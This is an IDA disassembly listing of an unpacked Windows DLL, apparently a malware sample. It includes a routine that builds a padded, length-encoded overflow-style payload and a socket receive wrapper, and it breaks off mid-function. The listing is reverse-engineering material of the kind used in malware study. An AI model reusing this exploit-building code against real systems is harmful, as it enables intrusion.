;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F20928667AFB530FDD8372B277049897

; File Name   :	u:\work\f20928667afb530fdd8372b277049897_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000AC7C (  44156.)
; Section size in file		: 0000B000 (  45056.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  DLL 32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 10001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001000	proc near		; CODE XREF: sub_10001433+Fp
					; sub_10001433+49p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_10001000	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		push	eax
		call	strlen	; strlen
		add	esp, 4
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	ecx, [ebp-8]
		call	sub_10001059
		mov	edx, [eax]
		mov	eax, [eax+4]
		mov	ecx, [ebp-0Ch]
		mov	[ecx], edx
		mov	[ecx+4], eax
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10001059(void *Src,size_t Size)

sub_10001059	proc near		; CODE XREF: .text:1000103Ep
					; sub_10001433+147p

var_8		= dword	ptr -8
Dst		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+Size]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jnz	short loc_1000107A
		jmp	short loc_100010B1
; ---------------------------------------------------------------------------

loc_1000107A:				; CODE XREF: sub_10001059+1Dj
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+Size]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+Dst]
		mov	[edx], eax

loc_100010B1:				; CODE XREF: sub_10001059+1Fj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10001059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100010BA(void *Src,size_t Size,int,int)

sub_100010BA	proc near		; CODE XREF: sub_1000127E+20p
					; sub_10001324+21p ...

var_8		= dword	ptr -8
Dst		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+Size]
		add	eax, [ebp+arg_C]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jnz	short loc_100010DE
		jmp	short loc_10001132
; ---------------------------------------------------------------------------

loc_100010DE:				; CODE XREF: sub_100010BA+20j
		mov	ecx, [ebp+Size]
		add	ecx, [ebp+arg_C]
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		push	eax		; Size
		mov	ecx, [ebp+arg_8]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		add	edx, [ebp+Size]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+Size]
		add	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+Dst]
		mov	[edx], eax

loc_10001132:				; CODE XREF: sub_100010BA+22j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_100010BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000113B	proc near		; CODE XREF: sub_1000127E+7Fp
					; sub_1000127E+9Bp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_10001159
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4

loc_10001159:				; CODE XREF: sub_1000113B+Dj
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_1000113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001170	proc near		; CODE XREF: sub_1000127E+28p
					; sub_100013AB+Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
Dst		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+4], 0FFFFh
		jl	short loc_1000118C
		xor	al, al
		jmp	loc_1000127A
; ---------------------------------------------------------------------------

loc_1000118C:				; CODE XREF: sub_10001170+13j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 7Fh
		jge	short loc_1000119E
		mov	[ebp+var_8], 1
		jmp	short loc_100011A5
; ---------------------------------------------------------------------------

loc_1000119E:				; CODE XREF: sub_10001170+23j
		mov	[ebp+var_8], 3

loc_100011A5:				; CODE XREF: sub_10001170+2Cj
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		add	eax, [ebp+var_8]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jnz	short loc_100011C8
		xor	al, al
		jmp	loc_1000127A
; ---------------------------------------------------------------------------

loc_100011C8:				; CODE XREF: sub_10001170+4Fj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		add	edx, [ebp+var_8]
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		cmp	[ebp+var_8], 1
		jnz	short loc_1000120F
		mov	ecx, [ebp+Dst]
		mov	edx, [ebp+var_C]
		mov	al, [edx+4]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		push	edx		; Size
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		add	edx, 1
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		jmp	short loc_10001252
; ---------------------------------------------------------------------------

loc_1000120F:				; CODE XREF: sub_10001170+74j
		mov	eax, [ebp+Dst]
		mov	byte ptr [eax],	82h
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		sar	edx, 8
		mov	eax, [ebp+Dst]
		mov	[eax+1], dl
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		and	edx, 0FFh
		mov	eax, [ebp+Dst]
		mov	[eax+2], dl
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		push	edx		; Size
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		add	edx, 3
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch

loc_10001252:				; CODE XREF: sub_10001170+9Dj
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		add	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+Dst]
		mov	[edx], eax
		mov	al, 1

loc_1000127A:				; CODE XREF: sub_10001170+17j
					; sub_10001170+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_10001170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000127E	proc near		; CODE XREF: sub_10001433+A5p
					; sub_10001433+102p ...

var_10		= dword	ptr -10h
Src		= dword	ptr -0Ch
Size		= dword	ptr -8
Dst		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		push	ecx		; int
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax		; int
		push	1		; Size
		push	offset dword_10012A50 ;	Src
		lea	ecx, [ebp+Src]
		call	sub_100010BA
		lea	ecx, [ebp+Src]
		call	sub_10001170
		mov	ecx, [ebp+Size]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jnz	short loc_100012C8
		xor	al, al
		jmp	short loc_10001320
; ---------------------------------------------------------------------------

loc_100012C8:				; CODE XREF: sub_1000127E+44j
		mov	edx, [ebp+Size]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+Dst]
		mov	byte ptr [ecx],	3
		mov	edx, [ebp+Size]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		add	ecx, 1
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_10]
		call	sub_1000113B
		mov	edx, [ebp+Size]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+Dst]
		mov	[ecx], edx
		lea	ecx, [ebp+Src]
		call	sub_1000113B
		mov	al, 1

loc_10001320:				; CODE XREF: sub_1000127E+48j
		mov	esp, ebp
		pop	ebp
		retn
sub_1000127E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001324	proc near		; CODE XREF: sub_10001368+1Bp
					; sub_1000138E+12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_0]
		push	ecx		; int
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		push	eax		; Size
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx		; Src
		lea	ecx, [ebp+var_8]
		call	sub_100010BA
		mov	ecx, [ebp+var_C]
		call	sub_1000113B
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	[eax+4], edx
		mov	al, 1
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10001324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10001368(char *Str)

sub_10001368	proc near		; CODE XREF: sub_10001433+112p
					; sub_10001433+18Dp ...

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax
		mov	ecx, [ebp+Str]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_10001324
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10001368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000138E	proc near		; CODE XREF: sub_10001401+12p
					; sub_10001433+1DCp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_10001324
		mov	esp, ebp
		pop	ebp
		retn	8
sub_1000138E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100013AB	proc near		; CODE XREF: sub_10001401+27p
					; sub_10001433+ADp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		call	sub_10001170
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_100013C9
		xor	al, al
		jmp	short loc_100013FD
; ---------------------------------------------------------------------------

loc_100013C9:				; CODE XREF: sub_100013AB+18j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx		; int
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		push	eax		; int
		push	1		; Size
		push	offset dword_1000E3EC ;	Src
		lea	ecx, [ebp+var_8]
		call	sub_100010BA
		mov	ecx, [ebp+var_C]
		call	sub_1000113B
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		mov	eax, [ebp+var_4]
		mov	[ecx+4], eax
		mov	al, 1

loc_100013FD:				; CODE XREF: sub_100013AB+1Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_100013AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001401	proc near		; CODE XREF: sub_10001433+162p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_1000138E
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10001425
		xor	al, al
		jmp	short loc_1000142D
; ---------------------------------------------------------------------------

loc_10001425:				; CODE XREF: sub_10001401+1Ej
		mov	ecx, [ebp+var_4]
		call	sub_100013AB

loc_1000142D:				; CODE XREF: sub_10001401+22j
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10001401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001433	proc near		; CODE XREF: sub_10001EBF+EAp

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
Dst		= byte ptr -840h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		lea	ecx, [ebp+var_848]
		call	sub_10001000
		cmp	[ebp+arg_8], 408h
		jg	short loc_1000145D
		mov	eax, [ebp+arg_10]
		add	eax, 8
		cmp	eax, 408h
		jbe	short loc_10001479

loc_1000145D:				; CODE XREF: sub_10001433+1Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_848]
		mov	[ecx], edx
		mov	eax, [ebp+var_844]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		jmp	loc_10001807
; ---------------------------------------------------------------------------

loc_10001479:				; CODE XREF: sub_10001433+28j
		lea	ecx, [ebp+var_10]
		call	sub_10001000
		lea	ecx, [ebp+var_28]
		call	sub_10001000
		lea	ecx, [ebp+var_858]
		call	sub_10001000
		lea	ecx, [ebp+var_40]
		call	sub_10001000
		lea	ecx, [ebp+var_38]
		call	sub_10001000
		lea	ecx, [ebp+var_18]
		call	sub_10001000
		lea	ecx, [ebp+var_850]
		call	sub_10001000
		push	4
		push	offset dword_1000E08C
		lea	ecx, [ebp+var_10]
		call	sub_10001324
		push	3
		push	offset dword_1000E094
		lea	ecx, [ebp+var_10]
		call	sub_10001324
		lea	ecx, [ebp+var_10]
		call	sub_1000127E
		lea	ecx, [ebp+var_10]
		call	sub_100013AB
		push	800h		; Size
		push	42h		; Val
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [ebp+var_28]
		call	sub_10001324
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		lea	ecx, [ebp+var_28]
		call	sub_10001324
		mov	ecx, 409h
		sub	ecx, [ebp+var_24]
		push	ecx
		lea	edx, [ebp+Dst]
		push	edx
		lea	ecx, [ebp+var_28]
		call	sub_10001324
		lea	ecx, [ebp+var_28]
		call	sub_1000127E
		push	offset dword_1000E3F0 ;	Str
		lea	ecx, [ebp+var_858]
		call	sub_10001368
		lea	ecx, [ebp+var_858]
		call	sub_1000127E
		push	800h		; Size
		push	44h		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	410h		; Size
		lea	ecx, [ebp+Dst]
		push	ecx		; Src
		lea	ecx, [ebp+var_20]
		call	sub_10001059
		lea	ecx, [ebp+var_20]
		call	sub_1000127E
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_858]
		call	sub_10001401
		lea	ecx, [ebp+var_20]
		call	sub_1000113B
		push	800h		; Size
		push	43h		; Val
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_40]
		call	sub_10001368
		push	4
		push	offset dword_1000E098
		lea	ecx, [ebp+var_40]
		call	sub_10001324
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_40]
		call	sub_10001324
		mov	ecx, 408h
		sub	ecx, [ebp+arg_8]
		push	ecx
		lea	edx, [ebp+Dst]
		push	edx
		lea	ecx, [ebp+var_40]
		call	sub_10001324
		lea	ecx, [ebp+var_40]
		call	sub_1000127E
		mov	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+var_40]
		push	ecx
		lea	ecx, [ebp+var_38]
		call	sub_1000138E
		mov	edx, [ebp+var_854]
		push	edx
		mov	eax, [ebp+var_858]
		push	eax
		lea	ecx, [ebp+var_38]
		call	sub_1000138E
		lea	ecx, [ebp+var_38]
		call	sub_100013AB
		lea	ecx, [ebp+var_40]
		call	sub_1000113B
		lea	ecx, [ebp+var_858]
		call	sub_1000113B
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		lea	ecx, [ebp+var_18]
		call	sub_1000138E
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_18]
		call	sub_1000138E
		mov	edx, [ebp+var_34]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_1000138E
		lea	ecx, [ebp+var_18]
		call	sub_100013AB
		lea	ecx, [ebp+var_28]
		call	sub_1000113B
		lea	ecx, [ebp+var_10]
		call	sub_1000113B
		lea	ecx, [ebp+var_38]
		call	sub_1000113B
		push	800h		; Size
		push	41h		; Val
		lea	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	400h
		lea	edx, [ebp+Dst]
		push	edx
		lea	ecx, [ebp+var_850]
		call	sub_10001324
		lea	ecx, [ebp+var_850]
		call	sub_1000127E
		push	2
		push	offset dword_1000E404
		lea	ecx, [ebp+var_850]
		call	sub_10001324
		mov	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	ecx, [ebp+var_850]
		call	sub_1000138E
		lea	ecx, [ebp+var_850]
		call	sub_100013AB
		lea	ecx, [ebp+var_18]
		call	sub_1000113B
		lea	ecx, [ebp+var_8]
		call	sub_10001000
		lea	ecx, [ebp+var_30]
		call	sub_10001000
		mov	edx, [ebp+var_84C]
		push	edx
		mov	eax, [ebp+var_850]
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_1000138E
		lea	ecx, [ebp+var_8]
		call	sub_10001170
		lea	ecx, [ebp+var_850]
		call	sub_1000113B
		push	offset dword_1000E408 ;	Str
		lea	ecx, [ebp+var_30]
		call	sub_10001368
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	ecx, [ebp+var_30]
		call	sub_1000138E
		lea	ecx, [ebp+var_30]
		call	sub_10001170
		lea	ecx, [ebp+var_8]
		call	sub_1000113B
		push	offset dword_1000E40C ;	Str
		lea	ecx, [ebp+var_8]
		call	sub_10001368
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_30]
		push	ecx
		lea	ecx, [ebp+var_8]
		call	sub_1000138E
		lea	ecx, [ebp+var_8]
		call	sub_10001170
		lea	ecx, [ebp+var_30]
		call	sub_1000113B
		push	offset dword_1000E410 ;	Str
		lea	ecx, [ebp+var_30]
		call	sub_10001368
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_1000138E
		lea	ecx, [ebp+var_30]
		call	sub_10001170
		lea	ecx, [ebp+var_8]
		call	sub_1000113B
		push	offset dword_1000E41C ;	Str
		lea	ecx, [ebp+var_848]
		call	sub_10001368
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_30]
		push	edx
		lea	ecx, [ebp+var_848]
		call	sub_1000138E
		lea	ecx, [ebp+var_30]
		call	sub_1000113B
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_848]
		mov	[eax], ecx
		mov	edx, [ebp+var_844]
		mov	[eax+4], edx
		mov	eax, [ebp+arg_0]

loc_10001807:				; CODE XREF: sub_10001433+41j
		mov	esp, ebp
		pop	ebp
		retn
sub_10001433	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000180B(SOCKET s,char *buf,int len,int flags)

sub_1000180B	proc near		; CODE XREF: sub_100019DF+18Dp
					; sub_100019DF+1DEp ...

var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
timeout		= timeval ptr -210h
readfds		= fd_set ptr -208h
exceptfds	= fd_set ptr -104h
s		= dword	ptr  8
buf		= dword	ptr  0Ch
len		= dword	ptr  10h
flags		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+exceptfds.fd_count], 0

loc_10001828:				; CODE XREF: sub_1000180B+96j
		mov	[ebp+var_214], 0
		jmp	short loc_10001843
; ---------------------------------------------------------------------------

loc_10001834:				; CODE XREF: sub_1000180B:loc_10001865j
		mov	eax, [ebp+var_214]
		add	eax, 1
		mov	[ebp+var_214], eax

loc_10001843:				; CODE XREF: sub_1000180B+27j
		mov	ecx, [ebp+var_214]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_10001867
		mov	edx, [ebp+var_214]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_10001865
		jmp	short loc_10001867
; ---------------------------------------------------------------------------

loc_10001865:				; CODE XREF: sub_1000180B+56j
		jmp	short loc_10001834
; ---------------------------------------------------------------------------

loc_10001867:				; CODE XREF: sub_1000180B+44j
					; sub_1000180B+58j
		mov	ecx, [ebp+var_214]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_1000189D
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_1000189D
		mov	edx, [ebp+var_214]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx

loc_1000189D:				; CODE XREF: sub_1000180B+68j
					; sub_1000180B+71j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_10001828

loc_100018A3:				; CODE XREF: sub_1000180B+111j
		mov	[ebp+var_218], 0
		jmp	short loc_100018BE
; ---------------------------------------------------------------------------

loc_100018AF:				; CODE XREF: sub_1000180B:loc_100018E0j
		mov	eax, [ebp+var_218]
		add	eax, 1
		mov	[ebp+var_218], eax

loc_100018BE:				; CODE XREF: sub_1000180B+A2j
		mov	ecx, [ebp+var_218]
		cmp	ecx, [ebp+exceptfds.fd_count]
		jnb	short loc_100018E2
		mov	edx, [ebp+var_218]
		mov	eax, [ebp+edx*4+exceptfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_100018E0
		jmp	short loc_100018E2
; ---------------------------------------------------------------------------

loc_100018E0:				; CODE XREF: sub_1000180B+D1j
		jmp	short loc_100018AF
; ---------------------------------------------------------------------------

loc_100018E2:				; CODE XREF: sub_1000180B+BFj
					; sub_1000180B+D3j
		mov	ecx, [ebp+var_218]
		cmp	ecx, [ebp+exceptfds.fd_count]
		jnz	short loc_10001918
		cmp	[ebp+exceptfds.fd_count], 40h
		jnb	short loc_10001918
		mov	edx, [ebp+var_218]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+exceptfds.fd_array],	eax
		mov	ecx, [ebp+exceptfds.fd_count]
		add	ecx, 1
		mov	[ebp+exceptfds.fd_count], ecx

loc_10001918:				; CODE XREF: sub_1000180B+E3j
					; sub_1000180B+ECj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_100018A3
		mov	[ebp+timeout.tv_sec], 0Ah
		mov	[ebp+timeout.tv_usec], 0
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		lea	ecx, [ebp+exceptfds]
		push	ecx		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		mov	eax, [ebp+s]
		add	eax, 1
		push	eax		; nfds
		call	ds:select	; select
		cmp	eax, 1
		jz	short loc_1000195F
		xor	eax, eax
		jmp	short loc_1000198D
; ---------------------------------------------------------------------------

loc_1000195F:				; CODE XREF: sub_1000180B+14Ej
		lea	ecx, [ebp+readfds]
		push	ecx		; fd_set *
		mov	edx, [ebp+s]
		push	edx		; fd
		call	__WSAFDIsSet	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_10001977
		xor	eax, eax
		jmp	short loc_1000198D
; ---------------------------------------------------------------------------

loc_10001977:				; CODE XREF: sub_1000180B+166j
		mov	eax, [ebp+flags]
		push	eax		; flags
		mov	ecx, [ebp+len]
		push	ecx		; len
		mov	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv

loc_1000198D:				; CODE XREF: sub_1000180B+152j
					; sub_1000180B+16Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000180B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10001991(SOCKET s,int,u_long len)

sub_10001991	proc near		; CODE XREF: sub_100019DF+156p
					; sub_100019DF+1A7p

buf		= byte ptr -4
s		= dword	ptr  8
arg_4		= dword	ptr  0Ch
len		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+len]
		push	eax		; hostlong
		call	ds:htonl	; htonl
		mov	dword ptr [ebp+buf], eax
		push	0		; flags
		push	4		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
